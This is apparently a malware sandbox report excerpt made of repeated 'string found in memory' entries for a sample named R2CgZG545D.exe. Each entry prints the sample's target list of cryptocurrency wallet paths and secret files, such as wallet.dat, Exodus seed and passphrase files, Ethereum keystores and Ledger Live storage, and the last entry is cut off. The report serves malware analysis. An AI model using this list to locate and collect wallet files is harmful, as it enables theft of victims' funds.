Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local 